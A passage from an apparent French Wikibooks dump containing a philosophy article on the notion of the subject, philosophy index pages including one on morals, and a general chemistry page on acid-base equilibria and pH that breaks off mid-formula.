''mien'', de ce qui m'est propre. De la question de ce qui est propre à un sujet, il est aisé de passer ensuite à une question constitutive du sujet : ''par quoi ou pour qui le propre est-il dit propre ?'' En résumé, le sujet est une réalité tout à la fois métaphysique, existentielle, morale et politique. Mais son sens fondamental est métaphysique. En tant que tel, le sujet est la notion fondatrice de l'[[w:humanisme|humanisme]], de la [[w:modernité|modernité]] et de l'ensemble des valeurs occidentales. Nous verrons pourquoi, sans sujet, il n'y a - entre autres exemples, ni science, ni valeur morale, ni démocratie. Les thèses philosophiques qui nient la validité de la notion de sujet sont bien souvent qualifiées d'''anti-humanisme''. Nous étudierons plus loin cette négation et ce qui en résulte. == Le sujet logique == L'idée de sujet est discernée par Aristote dans les ''Catégories''. == La notion et ses problèmes == === Une conception générale === L'une des conceptions les plus influentes de la philosophie occidentale moderne est que le sujet est dans l'identité de la [[conscience]] à travers le [[existence et temps|temps]] et dans la saisie immédiate de soi par soi en tant qu'étant. Cela fait deux thèses problématiques : *l'identité du sujet : peut-on penser un sujet qui ne soit pas identique ? La non-identité n'est-elle pas la négation de l'idée de sujet ? Le sujet peut-il exister dans le temps ? *la conscience de soi : cette conscience veut-elle dire que nous nous connaissons en tant que sujet ? L'idée de sujet n'est-elle que l'objet d'une croyance ? Cette conscience fait la synthèse entre le sujet en tant que propre (ou moi-même en personne, le fait que j'existe) et sujet de la connaissance (sujet qui connait, qui se représente et ''ce que je suis''). Le sujet, chez [[w:Descartes|Descartes]] par exemple, est le ce '''pour quoi ou pour qui il y a une représentation''', et donc également ce pour quoi ou pour qui il y a connaissance, y compris connaissance de soi-même. C'est là la racine de l'[[w:idéalisme|idéalisme]] moderne : le sujet est pensant, connaissant et, se sachant connaissant (identité du je), il existe dans la certitude de ce savoir : le sujet est la [[w:raison|raison]] et se confond avec le ''je''. Dans une autre langue, l'on dirait que le sujet, c'est l'universel, ou plus exactement, pour le cas de Descartes, qu'il tend à l'universel. De cette conception, on peut dégager au moins deux grands courants de pensée : *le « je » est l'élément fondateur, le fondement ultime, indépassable : absorption de l'absolu dans le « je ». Le particulier, l'individuel est valorisé. *l'absolu seul est le sujet, en particulier sujet de l'histoire : absorption de l'individuel dans l'absolu. Cette conception tend vers le panthéisme : l'individu n'est pas le sujet de la pensée qu'il perçoit comme sienne, mais c'est l'idée, [[w:Dieu|Dieu]] ou la nature. Cette dernière conception montre que l'on ne doit pas associer par habitude le sujet et l'individu, car il est possible de nier à ce dernier cette qualité : je ne suis pas un sujet, mais une certaine variation accidentelle dans ce qui existe. À l'inverse, si l'on conçoit l'individu comme sujet, cet individu doit présenter les caractéristiques d'une réalité consistante et peut-être même nécessaire. === Difficultés de cette conception === La réunion dans le sujet de la conscience et de la pensée a été dénoncée par plusieurs philosophes, dont [[w:Leibniz|Leibniz]] par exemple. Un problème parmi d'autres que soulève cette conception est que la représentation n'est pas le sujet, la conscience n'est pas la pensée ; la représentation est la représentation du sujet, et le cas possessif rend cette ambiguité : *la représentation appartient à un sujet qui la reconnait comme telle, il ne lui est pas extérieur. Quel est le rapport du sujet à ''ses'' représentations ? Que veut dire avoir des représentations ? Le sujet en est-il l'auteur, ou, à l'inverse, peut-il y avoir représentations sans sujet ? *la représentation représente un sujet qui se représente en tant que sujet... ; le sujet est dans la représentation. Comment le sujet est-il dans la représentation ? Quel est alors le mode d'existence d'un sujet ? À la suite de ces questions, il est difficile de ne pas demander qui est le véritable sujet de la représentation ? Qui a conscience de ? Si c'est le sujet qui est dans la représentation, alors il faut admettre que ce sujet est ''à la fois'' dans la représentation en tant que représenté qui se représente et hors d'elle en tant que sujet à proprement parler. On en vient alors à cette conclusion qu'il n'y a pas du tout de sujet véritable dans la représentation : il n'y a seulement que de la représentation sans sujet. Nous concevons et ne concevons pas le sujet de la représentation... Il ne pourrait donc y avoir de connaissance de soi par le moyen de la conscience. Autrement dit, la conscience de soi, l'auto-présentation de nous-même, est une conséquence du sujet, ou l'une de ses facultés, telle que le sujet n'y est pas en tant que cause. Appréhender une identité par la conscience (la conscience stable que je pense avoir de moi au cours de ma vie), c'est appréhender une série d'effets ou de symptômes d'une cause ou d'une série de causes dont je n'ai pas une intuition immédiate. Une autre conséquence importante pour l'interprétation du sujet est que nous avons une expérience de la conscience de soi alors que cette conscience de soi perçue comme telle est impossible : nous n'avons, à propos de la conscience de nous-même, que la ''croyance'' qu'une certaine réalité que nous percevons est un soi, un sujet, un noyau intime, nous n'en avons pas le savoir. Le sujet en tant que tel se dérobe donc à la conscience, et il ne reste plus que l'idée formelle d'un sujet/cause/substrat d'actes et de pensées que nous reportons particulièrement à un nous-mêmes difficile à penser. On pense alors un sujet transcendantale, i.e. un sujet comme condition de l'action et de la pensée, ce qui implique que : *le sujet n'est nulle part dans le monde, il n'est pas donné, il n'est pas empirique ; *il n'est pas déterminé : on ne peut définir ce qu'est le sujet, ni lui appliquer les catégories de l'être (pour le dire trivialement : le sujet n'est ni grand ni petit, il n'a pas de couleur, etc.) ; *le sujet est la cause première de la causalité de la volition ; *le sujet est ce qui pense. === Autre conception === Le sujet transcendantal ; le sujet en tant que condition de possibilité de la synthèse de nos [[perception]]s : ''à développer''. === Résumé des difficultés posées par la notion de sujet === Sujet et moi semblent bien être deux choses différentes. En quelque sorte, ''mon'' moi n'est pas la cause de ''mes'' actes, car cette cause serait un sujet qui n'est pas un ''moi''. Cette idée de sujet est ainsi dotée de faculté : volonté, entendement, etc. C'est le cas notamment en [[morale]], lorsque nous attribuons des mérites ou des blâmes : la responsabilité que nous supposons suppose à son tour un sujet capable de répondre de ses actes et de ses pensées. Mais on voit le caractère circulaire d'une telle conception : pour comprendre le sujet, on se rapporte à des facultés du... sujet ! Cette difficulté fait apparaître l'obscurité inhérente du concept de sujet, obscurité déjà perceptible dans l'idée d'un acte du discours auto-référent : en disant « je », je produis un acte de discours qui ne se rapporte pas à l'objet que j'ai à l'esprit de la même manière, ou aussi clairement que si je dis par exemple : « elle » ou plus trivialement encore : « table. » Je suis l'objet même auquel je me réfère, et cette référence est constituée par le fait que c'est moi qui parle. === Obscurités du sujet === ''Pour une analyse détaillée des aspects obscurs du sujet : voyez [[inconscient]] et [[désir]].'' *obscurité quant à nos perceptions : nous ne nous percevons pas entièrement ou pas du tout : le sujet, même s'il s'efforce vers la raison (qui, dans une conception classique, est son essence) n'est pas transparent à lui-même ; *obscurité quant au monde : le sujet, en tant que sujet de perception et de connaissance, est au sein d'un univers qui est pour lui lacunaire, opaque et inexpliqué ; *obscurité du sujet quant aux motifs de son action ([[désir]], [[liberté]], [[inconscient]]) ; *quant à son origine et sa nature : problème de l'[[inconscient]]. Il apparaît ainsi que la conscience, loin d'être le sujet, entretient avec lui un rapport problématique ; l'aspect le plus significatif est le [[désir]], cette tendance qui peut sembler irrationnelle (le sujet de l'action n'est plus la raison) et échapper au contrôle de la conscience, notamment lorsque cette conscience est morale. == Peut-on nier l'existence du sujet ? == L'obscurité de la notion de sujet est étonnante : c'est nous le sujet - croyons-nous - et nous ne sommes pas capables d'en produire une description claire et évidente. Ce peut-il que cette déficience soit l'expression d'une illusion ? Nous ne parvenons pas à élucider complètement la notion de sujet parce que le sujet n'existe pas et que sa notion n'est qu'un mot, mot qui ne se réfère à rien de réel. Examinons cette dernière thèse. Le point de départ est que le sujet n'existe pas, et que nous n'avons fait jusqu'ici que tenter de construire une notion. Nous commencerons par examiner ce que peut vouloir dire la phrase ''le sujet n'existe pas'' dans tous les domaines qui intéressent la philosophie et nous l'illustrerons ensuite pour bien faire comprendre de quoi il retourne dans ce problème. En premier lieu, si le sujet n'existe pas, il serait absurde de conserver les notions morales qui s'y rattachent : en tant que l'individu est un sujet, nous avons dit qu'il est libre, capable de répondre de ses actes et doté d'une dignité inhérente et inaliénable. Mais il n'y a pas de sujet ; l'individu n'est donc pas un sujet. L'individu, l'être humain en général, n'est donc ni libre, ni responsable de ses actes et ne possède aucune dignité au sens où la notion de sujet permettait de lui attribuer de manière essentielle toutes ces qualités. Considérons les conséquences de cette réfutation '''anti-humaniste''' du sujet. *Si le sujet n'existe pas, l'homme n'est pas libre : cela signifie qu'il n'est la cause de ses actes et de ses pensées : **la volonté, en tant que faculté de se déterminer soi-même d'après des principes rationnelles, est donc également une notion dénuée de sens. L'homme n'a pas volonté. **la pensée n'appartient pas à un sujet. L'homme ne pense pas en vertu d'une faculté, il n'est pas libre de penser ce qu'il pense mais subit ses pensées. *Si le sujet n'existe pas, il n'est pas responsable de ses actes : l'individu ne peut donc avoir aucun mérite ni ne peut être blâmé. L'homme n'est pas essentiellement un être moral. *Si le sujet n'existe pas, il n'y a pas de dignité humaine : l'existence humaine n'a donc pas de valeur en soi. Elle n'a pas de valeur morale ou juridique qui lui soit naturellement attachée. Pour faciliter la compréhension des conséquences d'un rejet de la notion de sujet, nous donnerons maintenant quelques exemples : L'individu n'est pas libre. Il faut donc qu'il soit déterminé par quelques autres causes que ce que l'on nomme volonté. Mais nous ne voyons pas d'autre causalité que celle des lois de la nature. Ainsi, tout homme est-il un être essentiellement déterminé par la nature. Il n'y a pas de transcendance humaine. Il faut donc que l'être humain ne soit qu'un être biologique et vivant en société, être que l'on peut étudier par les sciences ([[w:physiologie|physiologie]], [[w:neurophysiologie|neurophysiologie]], [[w:théorie de l'évolution|théorie de l'évolution]], [[w:sociologie|sociologie]], etc.). Il n'y a pas d'autre explication disponible du phénomène humain. L'individu n'est pas reponsable. Ses crimes ne peuvent lui être imputés comme s'il en était le véritable auteur. Tout homme est innocent de ses crimes. Mais, en sens contraire, personne n'est responsable de ses talents, de sa réussite, etc. L'individu n'a pas de dignité. Sa valeur morale est imaginaire et il n'a pas de droit naturel. Par exemple, les droits de l'homme sont des droits qui ne portent sur rien. L'esclavage n'est condamnable ni moralement ni juridiquement (pour ce qui concerne le droit naturel), et la torture ne l'est pas plus. La soumission des femmes, par une société ou une religion, n'est pas plus répréhensible. Pas plus que l'homme, la femme n'a de valeur spécifique, et l'usage de la force pour asservir les femmes à un ordre, quel qu'il soit, n'est qu'un simple fait naturel. Les conséquences concrètes de la négation du sujet ont ainsi de quoi frapper l'imagination... Mais les conséquences de cette pensée ne s'arrêtent pas là. Si la notion de sujet est vide ou inintelligible, elle n'en existe pas moins en tant que pensée. Mais c'est une pensée qui ne réfère à rien d'extérieur. D'où vient alors cette idée ? === Origine de la notion de sujet === == Pour ou contre le sujet == Parvenus à ce point de la réflexion, nous sommes dans la plus grande difficulté. La pensée du sujet et sa négation ne nous conduisent à rien de satisfaisant : *la notion de sujet a des lacunes telles que nous ne savons quoi faire reposer notre pensée ; *la négation du sujet a des conséquences extrêmes qui ne sont généralement pas acceptées. En ce qui concerne le premier point, nous pourrions nous demander si l'argument que le sujet est une notion peu intelligible ou creuse n'est pas d'une fausse évidence ; et, en ce qui concerne le second, les conséquences que l'on déduit de la négation du sujet sont-elles véritablement nécessaires ? Commençons par le second point. En admettant que l'être humain n'est pas un sujet et qu'il pas en conséquence de valeur morale en soi, nous avons fait comme si toute dignité et toute valeur devaient se comprendre d'après la notion de sujet. Mais c'est à l'évidence un sophisme, car le sujet étant supprimé, il n'en reste pas moins que l'homme, en tant qu'être naturel, fuit la douleur, et recherche le plaisir, et attribue des valeurs à ses semblables et aux choses qui l'entourent. Ainsi, dans une communauté, des hommes peuvent-ils faire preuve d'un respect mutuel sans avoir la moindre idée de ce que peut-être un sujet au sens que nous avons tenté de développer jusqu'à présent. Nier le sujet ne revient pas nécessairement à affirmer que tout est permis, que tout être humain est sans valeur. On peut à partir de là se demander s'il est possible, quel que soit la forme d'anti-humanisme que l'on soutient (avec le relativisme moral qui lui est attaché), de sacrifier intégralement les valeurs qui s'attachent à notre idée de l'homme. Il y aurait donc un abus à lier de manière essentielle la notion de sujet et ces notions morales que sont la liberté, la dignité, etc. Cependant, il ne suit pas de là que la négation du sujet exclut les violences que nous avons citées plus haut. Bien au contraire, et l'histoire en fournit de nombreux exemples : il peut regner dans une communauté dominante des valeurs d'une grande humanité, cela ne veut pas dire que cette communauté s'interdira de réduire en esclavage des classes entières, de tenir les femmes pour des biens dont on dispose pour le plaisir et la reproduction, de faire souffrir pour le plaisir d'un spectacle. Mais, malgré tout, nous avons là une possiblité de concevoir le sujet qui peut nous aider pour résoudre le problème soulevé par le premier point. En effet, nous parlions de communauté, ce qui implique la relation à l'[[autrui|autre]]. Et nous pouvons nous rendre compte maintenant que nous avons traité le sujet comme une abstraction métaphysique, comme une essence sans existence. Or, l'existence brutale nous fait voir qu'il n'y a pas de sujet réel sans un autre que soi. C'est cet entrelacement des individus que nous allons maintenant tenter d'éclaircir, entrelacement dont l'intérêt pourrait être de supprimer les faux problèmes de l'humanisme et de l'anti-humanisme. == Le sujet et autrui == ''Voyez l'article sur [[Autrui]] pour une analyse d'ensemble de cette notion'' Ce qui est ainsi mis en valeur, ce n'est plus le sujet en tant que tel, ni l'autre en tant que sujet, mais la relation de plusieurs sujets, relation qui pourrait bien être constitutive de ce que nous pensons lorsque nous nous pensons comme sujet. == Sujet, existence et temps == == Conclusion == == Bibliographie == *''Catégories'', [[w:Aristote|Aristote]] *''[[w:Méditations Métaphysiques|Méditations Métaphysiques]]'', [[w:René Descartes|Descartes]] *''Introduction à la psychanalyse'', [[w:Freud|Freud]] *''Soi-même comme un autre'', Paul Ricœur Philosophie/Culture 222 46041 2006-06-27T18:20:18Z Guillaumito 46 modif lien travail {{SommairePhilo}} *Le [[langage]] *L'[[art]] *Le [[Philosophie/Travail|travail]] *La [[technique]] *La [[religion]] *L'[[Philosohpie/Histoire|histoire]] La culture est le développement de l'esprit et du corps par des exercices appropriés. Le mot allemand ''Kultur'' (culture, civilisation) a influencé le français qui fait parfois de la culture un synonyme de civilisation. En un sens large, la culture désigne l'éducation générale donnée dans une société, éducation du jugement comme du sentiment. Philosophie/Raison et réel 223 46072 2006-06-27T18:52:45Z Guillaumito 46 [[Raison et réel]] déplacé vers [[Philosophie/Raison et réel]]: Convention de nommage {{SommairePhilo}} *[[Théorie]] et [[expérience]] *La [[démonstration]] *L'[[interprétation]] *Le [[vivant]] *La [[matière]] et l'[[esprit]] *La [[vérité]] Philosophie/Politique 224 46078 2006-06-27T18:53:39Z Guillaumito 46 [[Politique]] déplacé vers [[Philosophie/Politique]]: Convention de nommage {{SommairePhilo}} *La [[société]] *[[Justice et droit]] *L'[[État]] Le mot '''politique''' désigne en premier lieu tout ce qui concerne la vie collective d'un groupe. D'une manière plus particulière, il désigne ce qui a trait au gouvernement et à l'[[État]]. Philosophie/Morale 225 46085 2006-06-27T18:54:25Z Guillaumito 46 [[Morale]] déplacé vers [[Philosophie/Morale]]: Convention de nommage {{SommairePhilo}} *Les notions du programme : **La [[liberté]] **Le [[devoir]] **Le [[bonheur]] <font size="+2"><center>'''LA MORALE'''</center></font> <br> ---- La morale est un ensemble de régles de conduite, de relations sociales qu'une société se donne et qui varient selon la culture, les croyances, les conditions de vie et les besoins de la société. En un sens philosophique, la morale est la théorie normative des actions humaines. Elle porte principalement sur la finalité de l'action et cherche à résoudre les questions qui peuvent se poser dans la délibération et la prise de décision : *Que dois-je faire ? *Qu'aurai-je dû faire ? *Y a-t-il des limites à mes actions ? Les philosophes divisent la morale en trois domaines dont les limites ne sont pas toujours parfaitement fixées : *[[Méta-éthique]] : entendue comme la recherche des origines et du sens de nos concepts moraux ; *Morale ou éthique normative, qui concerne les critères de nos comportements (habitudes, devoirs, conséquences de nos actes) ; *Morale ou éthique appliquée, application des deux premières à des problèmes spécifiques et controversés (par exemple, avortement, environnement, droits des animaux, etc.). ==Les conceptions fondamentales de la philosophie morale== ===Morale de la perfection=== Cette morale définit le bien désirable comme perfection ; cette perfection n'est pas subjective, mais peut se décrire objectivement. Par exemple le [[savoir]], la réussite, etc. Ce bien est conçu comme le fondement du bonheur, mais sans impliquer la satisfaction subjective. Ce bien représente souvent la réalisation optimale de la nature humaine, et se trouve être de ce fait inégalitaire. Il définit en effet une [[hiérarchie]] des perfections à atteindre, hiérarchie d'où découle le mérite des [[individu]]s.<br> "Toutes les actions de notre âme qui nous acquièrent quelque perfection sont vertueuses, et tout notre contentement ne consiste qu'au témoignage intérieur que nous avons d'avoir quelque perfection." ([[Descartes]], Lettre à Elisabeth).<br> ===Morale de la vertu=== Ce type de morale insiste moins sur les règles à suivre en matière de morale, que sur les bonnes habitudes que nous devons prendre pour nous perfectionner et aquérir un bon caractère (dont les traits sont par exemple : générosité, bienveillance, etc.). C'est sans doute la morale philosophique la plus anciennne de notre civilisation. Ainsi, pour Platon, notre perfection consiste en l'acquisition de quatre vertus cardinales: la [[sagesse]], le [[courage]], la [[tempérance]] et la [[justice]]. Pour Aristote, la vertu est une bonne habitude acquise dans le but de réguler les émotions (par exemple, ne pas fuire face au danger), et consiste en un juste milieu qui nous fait éviter les extrêmes qui sont des vices, par exemple : lâcheté <-- courage --> témérité. La détermination de ce juste milieu (ou médiété) n'est pas une chose facile, et demande un examen de la raison. A ces vertus, les théologiens ajoutèrent la foi, l'éspérance et l'amour. Cette conception de la vertu implique également que l'on évite les mauvaises habitudes, i.e. les vices, telles que la lâcheté, l'injustice et la vanité. Ce genre de morale exige une éducation morale développée dès le plus jeune âge, ce qui rend les adultes responsables de la conduite morale des enfants et du développement de leurs vertus. Le concept de vertu a joué un grand rôle jusqu'au milieu du XIXèmes siècle, puis déclina face à de nouvelles morales (évolutionnisem, utilitarisme, etc.). Mais, au milieu du XXème siècle, cette idée a retrouvé une nouvelle jeunesse avec des philosophes comme [[Anscombe]] et [[MacIntyre]] estimant que les philosophes avaient trop négligé le développement du caractère huamin et que la vertu joue un rôle fondamentale dans la vie sociale. ===Morale du devoir=== Les morales du devoir fondent le caractère moral de nos actions par le concept d'obligation. Ce type de morale se conçoit indépendemment de toute conséquence qui pourrait résulter de nos actions. Par exemple, selon [[Kant]], on ne doit pas mentir pour éviter un meurtre, car l'obligation de dire la vérité est absolue et ne tolère aucune condition particulière. Il existe plusieurs théories des devoirs : *[[Pufendorf]] distingue trois type de devoir : **devoirs envers Dieu (dévotion interne et externe) ; **devoirs envers soi-même (devoirs envers l'âme : par exemple développer ses talents, et devoirs envers le corps -ne pas se tuer, ne pas se nuire) ; **devoirs envers autrui (devoirs absolus : ne pas nuire, etc. et devoirs conditionels : tenir sa parole, etc.). *'''théorie des droits''' (par exemple [[Locke]]), dans laquelle : **les droits sont naturels (par exemple, vivre, être libre, rechercher le bonheur) ; **ils sont universels ; **ils sont les mêmes pour tous ; **ils sont inaliénables. Il faut souligner que tous droit appelle un devoir. *'''l'impératif catégorique''' : c'est la théorie [[Kant|kantienne]] de la morale. Kant distingue plusieurs types d'impératifs : **l'impératif hypothétique nous dit que si nous voulons ceci, nous devons faire telle ou telle chose ; **l'impératif catégorique nous dit seulement que nous devons faire telle chose, quoique nous voulions ou désirons. Les théories du devoir n'exposent pas seulement le ou les principes qui rendent morale une action, mais s'efforcent également de résoudre les conflits qui résultent de nos devoirs eux-mêmes. === Morales conséquentialistes === Dans nos actions, nous prenons souvent en compte les conséquences de nos actes. Ces conséquences peuvent donc être considérées comme des critères possibles de notre comportement, ce qui fait de ce type de morale, un type normatif. Pour une morale de ce genre, une conduite est morale si les conséquences d'un acte sont plutôt bénéfiques que défavorables. L'évaluation de la moralité d'une conduite se fait donc sur la base de ce qui est observable, plutôt que sur l'intention qui a un caractère privé et difficile à appréhender. Plusieurs types de conséquentialisme peuvent être distingués, selon le critère que l'on choisit pour déterminer ce qui est bénéfique et ce qui est nuisible : *l'altruisme : les conséquences de l'action favorables à quiconque excepté l'agent déterminent ce qui est bien et ce qui est mal *l'égoisme : les conséquences de l'action favorables à l'agent et à lui seul déterminent ce qui est bien et ce qui est mal ; *l'[[utilitarisme]] : les conséquences de l'action favorables à tous déterminent ce qui est bien et ce qui est mal. [[Bentham]] est l'un des premiers philosophes utilitatistes. Il propose d'une part de considérer les conséquences de nos actions, et, d'autre part, de mesurer le plaisir et la peine qui en résultent, d'où le nom d'[[hédonisme]] utilitariste de cette doctrine. === Morale féministe === Les féministes ont souligné le caractère masculin des morales occidentales et se sont efforcés de définir certains types de morale plus appropriés au genre féminin. ==Le problème du fondement de la morale== D'une manière très générale, il existe deux types de conception des fondements de la morale : *'''une conception objectiviste''', qui affirme que les lois morales ne dépendent pas de l'homme, mais : **sont des lois de la nature (philosophie grecque en général); **sont des commendements divins ; **sont des lois de la raison, en tant que tout être raisonnable (donc outre l'homme) doit y obeir. *'''une conception relativiste''', pour laquelle les valeurs morales ont une origine humaine : **parce qu'elles sont imposées par la société ou par un groupe quelconque ; **parce qu'il appartient à l'individu en tant que tel de les définir. Dans la conception objectiviste (ou réaliste), les valeurs morales sont éternelles et universelles, ou, au moins, absolues ; on ne peut donc les changer ni les détruire. Au contraire, dans la seconde conception, les valeurs morales sont variables d'une société, d'un groupe ou d'un individu à l'autre. Cette seconde conception est souvent présentée de manière descriptive, alors que la première est normative. Dans le premier, il est difficile de condamner des pratiques qui appartiennent à d'autres sociétés (peine de mort, soumission des femmes, etc.), alors que la morale du premier type prétend s'imposer à tout être raisonnable, dans tous les temps et dans tous les lieux. ==Débats contemporains== *bioéthique *l'éthique des affaires *les droits de l'homme *la tolérance ==Bibliographie indicative== *''[[Phédon]]'', [[Platon]] *''[[Ethique à Nicomaque]]'', [[Aristote]] *''Les politiques'', [[Aristote]] *''Lettres'', [[épicure|Epicure]] *''La République'', [[Cicéron]] *''Des Lois'', [[Cicéron]] *''Des biens et des maux'', [[Cicéron]] *''Des devoirs'', [[Cicéron]] *''Manuel'', ''Entretiens'', [[épictète|Epictète]] *''De la vie heureuse'', [[Sénèque]] *''Contre les moralistes'', [[Sextus Empiricus]] *''Contre le mensonge'', [[Augustin d'Hippone]] *''Traité des passions'', [[Descartes]] *''Traité de morale'', [[Malebanche]] *''Ethique'', [[Spinoza]] *''Essais de théodicée'', [[Leibniz]] *''Essai philosophique concernant l'entendement humain'', [[Locke]] *''Traité de la nature humaine'', [[Hume]] *''Enquête sur les principes de la morale'', [[Hume]] *''Justine ou les malheurs de la vertu'', [[Sade]] *''[[Critique de la raison pratique]]'', [[Kant]] *''Métaphysique des mœurs'', [[Kant]] *''Déontologie ou science de la morale'', [[Bentham]] *''Fondements de la morale et de la religion'', [[Maine de Biran]] *''Système de l'éthique'', [[Fichte]] *''Principes de la philosophie du droit'', [[Hegel]] *''Le fondement de la morale'', [[Schopenhauer]] *''L'unique et sa propriété'', [[Stirner]] *''[[L'Utilitarisme]]'', [[Mill]] *''Aurore, réflexions sur les préjugés moraux'', [[Nietzsche]] *''[[Par-delà bien et mal]]'', [[Nietzsche]] *''[[Généalogie de la Morale]]'', [[Nietzsche]] *''Les bases de la morale évolutionniste'', [[Spencer]] *''Les deux sources de la morale et de la religion'', [[Henri Bergson]] *''L'éthique protestante et l'esprit du capitalisme'', [[Max Weber|Weber]] *''Le formalisme en éthique et l'éthique matérielle des valeurs'', [[Scheller]] Equilibres chimiques (Chimie générale) 226 44577 2006-06-15T07:29:34Z 80.8.188.82 {{Chimiegénérale}} Acides et bases (Chimie générale) 227 27070 2005-12-19T12:16:49Z 82.254.77.235 /* Cas d'une base forte */ {{Chimiegénérale}} __NOTOC__ == Acides et bases == Considérons un acide imaginaire,HA, dans l´eau. Vu la théorie de [[w:Bronsted|Bronsted-Lewry]], l´acide donnera un proton à l´eau pour former un hydronium et la base conjuguée. A<sup>-</sup>. Il y aura un équilibre entre l´acide et l´eau d´une part et entre l´hydronium et sa base conjuguée de l´autre. <center><math>\hbox{HA} + \hbox{H}_2\hbox{O} \Leftrightarrow \hbox{H}_3\hbox{O}^+ + \hbox{A}^-</math></center> Cet équilibre peut être utilisé pour calculer les concentrations des espèces en solution. ===Constante d´acidité=== Comme tout équilibre, la dissociation acide/base a une constante d´équilibre qui doit déterminer l´ étendue de la réaction (à quel point elle va du côté gauche ou du côté droit de l´équation). <center><math>\hbox{K} = \frac{[\hbox{H}_3\hbox{O}^+] [\hbox{A}^-]}{[\hbox{H}_2\hbox{O}][\hbox{HA}]}</math></center> Cet équilibre est utilisé pour calculer les concentrations d'acides faibles. Il y a donc très peu d´eau qui réagit. La concentration de l´eau durant la réaction est, pour cela, une constante, et peut être inclue dans la valeur de K. Cela donne lieu à une constante d´équilibre connue comme constant d´acidité. C´est simplement K multiplié par la concentration de l´eau <center><math>\hbox{K}_a = \hbox{K}[\hbox{H}_2\hbox{O}] = \frac{[\hbox{H}_3\hbox{O}^+][\hbox{A}^-]}{[\hbox{HA}]}</math></center> Le K<sub>a</sub> d´un acide faible détermine sa force comme acide c´est à dire montre de quelle quantité l´équilibre est déplacé vers la droite. La valeur de K<sub>a</sub> des acides faibles ont été déterminées expérimentalement. ===La constante de basicité=== Un équilibre semblable existe quand une base faible est dissoute dans l´eau. La base retirera un proton de l´eau pour former la base conjuguée. <center><math>\hbox{B} + \hbox{H}_2\hbox{O} \Leftrightarrow \hbox{OH}^- + \hbox{BH}^+</math></center> Cet équilibre possède sa constante particulière K<sub>b</sub>, connue comme constante de basicité .Tout comme la constante d´acidité, c´est la constante d´équilibre multipliée par la concentration de l´eau. <center><math>\hbox{K}_b = \hbox{K}[\hbox{H}_2\hbox{O}] = \frac{[\hbox{BH}^+][\hbox{OH}^-]}{[\hbox{B}]}</math></center> ===Le produit ionique=== &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Un équilibre spécial existe entre les molécules d´eau. Parfois. une molécule d´eau agit comme un acide et cède un proton à une autre molécule d´eau (qui agit comme base). L´eau peut se autoioniser. <center><math>\hbox{H}_2\hbox{O} + \hbox{H}_2\hbox{O} \Leftrightarrow \hbox{H}_3\hbox{O}^+ + \hbox{OH}^-</math></center> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Par le principe de Le Chatelier, nous pouvons prévoir que si la concentration en hydronium. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Un équilibre spécial existe entre les molécules d´eau. Parfois. une molécule d´eau agit comme une base et l´équilibre doit se déplacer vers la gauche et la concentration d´hydroxyles diminue. Les concentrations d´hydroniums et d´hydroxyles varient en sens inverse l'une de l'autre &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L´expression d´équilibre s´appelle '''produit ionique''' et est désigné par le symbole K<sub>e</sub>. Sa valeur est de 1.0 &times; 10<sup>-14</sup> at 25&deg;C. <center><math>\hbox{K}_e = [\hbox{H}_3\hbox{O}^+][\hbox{OH}^-] = 1.0 \times 10^{-14} \,</math></center> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Cette expression peut être utilisée pour trouver le pH de l´eau pure. Souvenons-nous que le pH est le négatif de log<sub>10</sub> de la concentration de l´íon hydronium. Si nous posons que la concentration en ions hydronium est x, nous pouvons en déduire le pH, nous obtenons : <center><math>\begin{matrix}x^2 &=& 1.0 \times 10^{-14} \\ x &=& \sqrt{1.0 \times 10^{-14}} \\ x &=& 1.0 \times 10^{-7} \\ \hbox{pH} &=& -\log{1.0 \times 10^{-7}} \\ \hbox{pH} &=& 7.0\end{matrix}</math></center> <h3>Valeur de la base conjuguée<h3> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;La base conjuguée d´acide faible a une relation simple avec son acide . Voyons l´expression d´équilibre de la base conjuguée ,A<sup>-</sup>, de l´acide faible HA. <center><math>\hbox{K}_b = {\frac{[\hbox{HA}][\hbox{OH}^-]}{\hbox{A}^-}}</math></center> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Si nous multiplions l´expression pour un acide par l´expression pour sa base conjuguée, les concentrations de l´acide et de la base s´éliminent et nous obtenons le produit ionique de l´eau ! Cela nous permet de calculer le K<sub>b</sub> d´une base si le K<sub>a</sub> de son acide conjugué est connu (et vice-versa). <center><math>\begin{matrix} \frac{[\hbox{H}_3\hbox{O}^+][\hbox{A}^-]}{[\hbox{HA}]} &\times& \frac{[\hbox{HA}][\hbox{OH}^-]}{[\hbox {A}^-]} &=& [\hbox{H}_3\hbox{O}^+][\hbox{OH}^-] \\ \hbox{K}_a &\times& \hbox{K}_b &=& \hbox{K}_w \\ \end{matrix}</math></center> ===Résumé=== &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Les définitions des constantes de dissociation des acides et bases ; elles sont montrées ici: <center> <math>\hbox{K}_a = \frac{[\hbox{H}_3\hbox{O}^+][\hbox{A}^-]}{[\hbox{HA}]}</math> <math>\hbox{K}_b = \frac{[\hbox{BH}^+][\hbox{OH}^-]}{[\hbox{B}]}</math><br/> <math>\hbox{K}_a \times \hbox{K}_b = \hbox{K}_w \,</math> </center> == Calcul de pH == === Cas d'un acide fort === <center><math>\hbox{HA} + \hbox{H}_2\hbox{O} \Longrightarrow \hbox{H}_3\hbox{O}^+ + \hbox{A}^-</math></center> <br /> * <math> \hbox{HA} </math> est totalement dissocié. * <math> \left[\hbox{HA} \right] = \left[\hbox{H}_3\hbox{O}^+ \right]</math> * <math> \rm{pH} = -\rm{log}\left[{H}_3\hbox{O}^+ \right] = -\rm{log}(C_a) \ \ \ ,</math> où <math>C_a</math> est la concentration en acide en mol/L <br /> Exemple : === Cas d'un acide faible === <math>\hbox{HA} + \hbox{H}_2\hbox{O} \Leftrightarrow \hbox{H}_3\hbox{O}^+ + \hbox{A}^-</math> * <math>\hbox{K}_a = \frac{[\hbox{H}_3\hbox{O}^+][\hbox{A}^-]}{[\hbox{HA}]}</math> * on ne prends pas en compte l'ionisation de l'eau :<br /> <math>\hbox{K}_a = \frac{[\hbox{H}_3\hbox{O}]^2}{[\hbox{HA}]}</math> * <math>[\hbox{H}_3\hbox{O}^+] = \sqrt{\hbox{K}_a \times [\hbox{HA}]}</math> * <math> \rm{pH} = -\rm{log}\left[{H}_3\hbox{O}^+ \right] = -\rm{log}\sqrt{\hbox{K}_a \times 